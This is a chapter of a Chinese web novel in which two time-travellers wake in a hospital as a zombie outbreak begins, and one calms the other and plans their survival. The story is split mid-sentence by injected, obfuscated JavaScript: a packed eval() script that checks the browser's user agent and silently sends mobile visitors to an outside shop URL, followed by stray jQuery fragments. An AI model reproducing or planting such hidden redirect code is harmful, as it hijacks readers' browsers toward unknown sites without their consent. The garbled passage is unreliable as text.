次日清晨,温暖的阳光透过玻璃照进病房。
坎月睁开眼,懒洋洋望向窗外。
南方的十月,天气好得不像话,除去早晚偏凉、温差略大外,同炎炎夏日几乎没什么区别。
瞧这势头,想真冷起来少说也要等到十一月中下旬。
坎月翻了个身,笑看着另一张床上的顾佳佳。
小妮子差不多该醒了,不知晓得自己身处末世,马上要被丧尸追着满世界跑,会不会吓得重新晕过去。
笑着笑着,坎月神色忽然变得复杂难懂,眼中莫名浮现淡淡哀伤。
似是通过顾佳佳,记起了某些往昔旧事。
良久,她垂眸移开视线,“你可千万不能干傻事。”
顾佳佳醒的时候,已经接近正午。
坎月正拿着昨晚从医生办公室顺来的手机玩游戏。
她一声极具女高音潜质的尖叫,惊得坎月手指一抖,屏幕上毫无悬念弹出“游戏结束”四个大字。
不过叫完一嗓子,顾佳佳居然自个安静了下来,就那么一动不动地坐在床上。
半晌才缓缓抬起手,反复翻看几次,而后茫然打量起病房。
当目光触及坎月时,她怔楞片刻,随即淡定将脑袋转向别处。
至始至终都没有出现坎月预料的意识紊乱,或者情绪失控等后遗症。
莫非是暂时性失忆!?
坎月试探着喊她,“佳佳?”
顾佳佳的注意力回到坎月身上,她表情古怪地盯着坎月,直到坎月叫了她第二次,才难以置信地呜咽出声,“坎月姐,你、你……”
坎月一头雾水,就着手机屏幕左右照了照,实在没发现自己有哪里不妥的。
“坎月姐,我对不起你。”顾佳佳掩面而泣,语气万分愧疚。
坎月更加疑惑,忙走到病床边准备询问安抚一番。
谁知素来内向的顾佳佳一把搂住她的腰,声泪俱下,“都怪我,要不是被我拖累,要不是为了保护我,你那么厉害,肯定不会死的。是我不好,是我对不起你……”
坎月总算从顾佳佳断断续续的话里,抓出了关键词。
小妮子竟然以为他们死了,怪不得醒来后的反应如此奇怪,还尽说些不着边际的胡话。
坎月哭笑不得,拍着顾佳佳的背柔声解释:“我们没事,活得好好的。”
奈何顾佳佳哭得专心致志,压根没空理会她。
坎月无法,只得强行拉开顾佳佳,一手固定住她的肩膀,一手托起她的脑袋,弯下腰同她对视着,一字一顿说:“佳佳,我们没死。”
顾佳佳哭声一滞,泪眼婆娑望着她。
“怎么可能会死,在定制中心穿越非常安全,我们仅仅是遇上了一点小意外。”坎月一边说,一边帮她擦拭脸上泪痕。
“没、没死?”顾佳佳瞪大眼睛重复。
“没死!”
“我好像记得,有很多怪物,满地的尸体,然后……”顾佳佳停顿片刻,颓然出声,“然后你抱着我,遇上了牛头马面,难道我们不是在阴曹地府吗?”
坎月揉了揉她的发顶,原来记忆在妖界蛮荒地就开始混乱了。
话说回来,被女娲石所伤,巫妖族十有八九真下了地府,成了牛头马面。
“嗯,结果你不喜欢那,我们离开了。”坎月逗她。
顾佳佳努力回想着,脑海里不断闪现各式各样的惊悚片段,但无论如何拼凑也没办法使其连贯完整。
特别是越往后越凌乱模糊,她甚至找不到丝毫关于离开的零星碎片。
记忆中的一切,仿佛是被过度剪辑而残缺不全的录像带。
那种感觉极为微妙,故事情节她仿佛真实经历过,又好像仅仅是在一旁观看。
“我们都活着……”顾佳佳呢喃数次终于缓过神,抹了把脸,她长长吐出口气,“我还以为,还以为……”
坎月接了杯温水递过去,“要说连累,是我连累你才对。若不是我没保护好你,不会有后面的麻烦。”
“不是的,坎月姐……”
“佳佳。”坎月打断她,神色难得严肃,“不要总把别人的过错和责任揽到自己身上。”
顾佳佳紧抿着唇瓣没啃声,整个人有种显而易见的自卑感。
“你很好,并未拖累任何人。”坎月温声说着,眼中真挚一览无余。
顾佳佳脸上泛起一抹喜色,旋即赧然低头,十分不自然地喝水做掩饰。
坎月只当没看到,拿过核桃粉朝饮水机走去。
小妮子太缺乏信心了,需要有人不断鼓励、认可,继而引导她从内心深处逐步对自我做出改观。
这将是个浩大且漫长的工程,她现在得先做另一件事。
“喜欢玩游戏吗?”坎月状似不经意地开启话题。
“偶尔玩一下。”
“电影呢?”
“喜欢。”
“爱看什么类型的?”坎月用冲泡好的核桃粉和撕开包装的奶香蛋糕,换走顾佳佳手里的空纸杯。
“盗墓、惊悚。”
坎月倒着爆米花的手顿了顿,着实没料到她喜好如此独特。
“我也挺喜欢,主要是情节精彩。除此之外,像是灾难、末世等题材,我都很感兴趣,你呢?”
顾佳佳瞅着坎月的背影,霎时想起黄沙漫天之中,那以寡敌众丝毫不落下风的飒爽英姿。
如果当时没有贸然推开坎月,没有慌不择路跑出去,是不是就不会有后面的麻烦了?
顾佳佳懊恼地咬着下唇,恨透了自己的蠢笨无能。
半天听不到回答,坎月转过身,却见顾佳佳眼眶泛红,再次氤氲起水雾。
她几步跨上前,伸出食指勾起顾佳佳的下巴,“宝贝儿,又在瞎琢磨什么呢?”
“坎月姐,我是不是坏了你的事?”顾佳佳弱弱问她。
“说什么胡话呢,你……”
坎月讲到一半,楼下倏然传来凄厉的惨叫声,听得人毛骨悚然。
顾佳佳浑身一哆嗦,本能地朝楼下张望,“外面怎么了?”
坎月迅速挡住她的视线,沉默几秒后回答:“走尸了。”
“啊?”顾佳佳显然没明白她的意思。
未待坎月继续解释,嘶吼、求救、谩骂接二连三响起,饶是顾佳佳再迟钝也听出了其中的绝望、愤怒和不甘。
她急急起身,试图跑到阳台上做点什么。
“佳佳!”坎月按住她,“外面是丧尸。”
突围者来的实在不是时候,坎月本打算以一种相对轻松的方式,引导顾佳佳一点点理解接受,将她的恐慌程度降到最低。
奈何天不遂人愿,坎月不得不直接公布答案。
顾佳佳眨着眼睛,维持仰视的姿势,她的大脑似乎没能理解坎月的意思。
“我们在一处未来的医院里,恰巧碰上丧尸病毒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836997|211476||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
爆发。”坎月语调平缓,带着抚慰人心的力量。
楼下的叫喊声停止了,医院重新陷入可怕的死寂中。
顾佳佳愣了好一会儿,僵硬地挤出个“嗯”字,拿过桌上的半块蛋糕继续吃着,没了下文。
坎月颇为费解,顾佳佳的反应未免过于冷淡,和印象中的女孩相去甚远。
难道是之前惊吓过度,出现了丧失惧意的罕见情形?
发觉坎月一直观察自己,顾佳佳红着脸小声问:“我、我是不是做错了什么?”
“你没什么想问的?”
顾佳佳懵了,“问什么?”
见她不似作伪,坎月纳罕,“你不想问问,我们为什么不在原定的明朝?”
“我以为是我记错了。”顾佳佳如梦初醒。
她以为自己听岔了,坎月说的是末世不是明朝。所以得知他们在未来的医院里,顾佳佳并未多做他想。
即使是现在,她仍旧下意识地认为,坎月是为了让她来磨炼胆量和心性的。
“我会努力。”心里想着,她不自觉补了一句。
坎月惊讶于顾佳佳的一连串反应,斟酌片刻,决定趁着她还算冷静,先把重要的事挑着说了,好给她个心理准备。
毕竟真正面对丧尸,鲜少有人能临危不乱。
曾经一个嚷嚷着要来末世打丧尸的家伙,初见就被吓尿了裤子。
“佳佳,我们得在这逗留三个月,之后我会带你回明朝,继续完成穿越计划。期间你不需要做任何事,我会保护好你。”
“不需要做任何事?”
“对,我们落入末世是个意外。”
顾佳佳后背登时蹿起一股寒意,若是练习,遇上危险坎月能随时带她离开,可事情与她理解的天差地别。
电影里丧尸撕扯活人的血腥画面不断涌现,她止不住地浑身发抖。
“别怕,丧尸闻不到你身上的气味,在不受伤的前提下,你只要藏好,他们不会有丝毫察觉。”末了,坎月加上句,“而我不会让你有任何闪失。”
虽然心惊胆战,顾佳佳对坎月却极其信任。
她强压着恐惧,颤声问:“我们一直待在病房里?”
“再过几天会停止供电,我们要尽快离开医院,就近找个山上的农家乐安顿下来,有水有电有食物,三个月不会太难熬。”
顾佳佳咽了咽口水,“我会死吗?”
“不会,我保证。”
她看着坎月的双眼,渐渐平静下来。
是啊,坎月能带着她从不计其数的野兽包围圈里成功突围,区区丧尸定然不在话下。
“佳佳,有件事你必须牢牢记住。”坎月郑重其事叮嘱,“管好自己,不要搭理其他人。丧尸闻不到你的气味,倘若与他人同行必然会被察觉,惹出祸事。”
还有另一个更重要的原因,坎月没有告诉她。
随着时间的推移,部分幸存者为了生存会踏破道德底线,无所不用其极。坎月不希望她面对那些令人发指的恶劣事件。
“好。”顾佳佳顺从应下。
她滑开玻璃门,大着胆子往阳台边靠近。
放眼望去,密密麻麻的丧尸朝着同一个方向移动,目标是几具支离破碎的尸体。
顾佳佳吓得踉跄后退,坎月稳稳扶住她。
“没什么可怕的,就当成我们下了个墓,墓里大规模走尸。但你有主角光环,活到大结局毋容置疑。”